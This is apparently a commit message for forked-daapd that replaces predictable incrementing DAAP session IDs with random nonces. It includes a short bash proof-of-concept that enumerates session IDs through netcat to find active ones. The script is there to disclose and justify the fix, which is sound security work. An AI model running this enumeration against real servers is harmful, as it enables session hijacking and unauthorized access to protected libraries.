Use nonces for DAAP session IDs.

Currently DAAP sessions IDs are generated in a predictable manner, i.e. starting from 100 and incrementing from there. This can be easily exploited to hijack sessions and gain access to password protected libraries.

Since forked-daapd depends on libgcrypt anyway, I used it to generate unpredicatable random DAAP session IDs. Since we have to check for (admittedly unlikely) collisions, generating a new ID now takes O(log n) instead of O(1), where n is the number of open sessions, but this shouldn't be a problem as n usually isn't very large.

Proof of concept sniffer for predictable DAAP session IDs:

    #!/bin/bash

    ADDRESS=localhost
    PORT=3689
    URL=/databases

    if [ "$#" != "2" ]; then
            echo "$0 <start> <end>"
            exit 1
    fi

    START="$1"
    END="$2"
    for (( id=$START; id<=$END; id++ )); do
            query="GET $URL?session-id=$id HTTP/1.1\r\n\r\n"
            head=`echo -e $query | netcat -q 1 $ADDRESS $PORT | head -n 1`
            code=`echo $head | awk '{print $2}'`
            if [ "$code" == "200" ]; then
                    echo "Found active session-id: $id"
            fi
    done